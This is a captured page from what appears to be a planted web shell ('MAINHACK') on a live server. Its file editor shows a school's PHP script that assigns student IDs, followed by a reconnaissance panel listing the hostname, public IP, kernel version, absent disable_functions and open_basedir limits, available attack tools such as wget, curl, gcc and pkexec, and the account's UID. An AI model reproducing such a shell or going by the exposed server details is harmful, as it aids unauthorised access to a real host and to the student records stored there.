[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: stud_idgenerator.php
<?php include("functions.php"); if (isset($_POST['generate'])) { // Step 1: Fetch all DISTINCT school codes that actually exist in enrol_details $schools = $new->query(" SELECT DISTINCT s.school_code, s.short_code FROM schools s INNER JOIN enrol_details e ON e.s_code = s.school_code WHERE s.school_code IS NOT NULL AND s.school_code <> '' "); if ($schools && $schools->num_rows > 0) { while ($row = $schools->fetch_assoc()) { $school_code = trim($row['school_code']); $short_code = trim($row['short_code']); $year_suffix = "25"; // change this if needed (e.g. date('y') for dynamic year) // Skip if short_code is missing if (empty($short_code)) { echo "<div class='message'>⚠️ Skipped $school_code (missing short code)</div>"; continue; } // Step 2: Dynamic query with YEAR included $sql = " UPDATE enrol_details AS e JOIN ( SELECT index_no, s_code, ROW_NUMBER() OVER ( PARTITION BY s_code ORDER BY index_no ASC, student_name ASC ) AS seq_num FROM enrol_details WHERE raw_score IS NOT NULL ) AS numbered ON e.index_no = numbered.index_no SET e.codenumber = numbered.seq_num, e.unique_student_code = CONCAT( '" . $new->real_escape_string($short_code) . "', '" . $new->real_escape_string($year_suffix) . "', LPAD(numbered.seq_num, 5, '0') ) WHERE e.s_code = '" . $new->real_escape_string($school_code) . "'; "; // Step 3: Execute if ($new->query($sql)) { if ($new->affected_rows > 0) { echo "<div class='message'>✅ IDs generated for $school_code ($short_code)</div>"; } else { echo "<div class='message'>⚠️ No students found for $school_code ($short_code)</div>"; } } else { echo "<div class='message'>❌ Error generating IDs for $school_code ($short_code): " . $new->error . "</div>"; } } echo "<div class='message' style='margin-top:20px;'>✅ Process finished — all available schools processed.</div>"; } else { echo "<div class='message'>⚠️ No matching schools found.</div>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Generate Student IDs for All Schools</title> <style> body { font-family: Arial, sans-serif; padding: 40px; } button { background-color: #007BFF; color: white; border: none; padding: 10px 20px; font-size: 16px; border-radius: 6px; cursor: pointer; } button:hover { background-color: #0056b3; } .message { margin-top: 20px; font-size: 18px; } </style> </head> <body> <h2>Generate Unique Student IDs</h2> <p>This will loop through all schools and generate unique student IDs for each one.</p> <form method="POST" action=""> <button type="submit" name="generate">Generate All IDs</button> </form> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002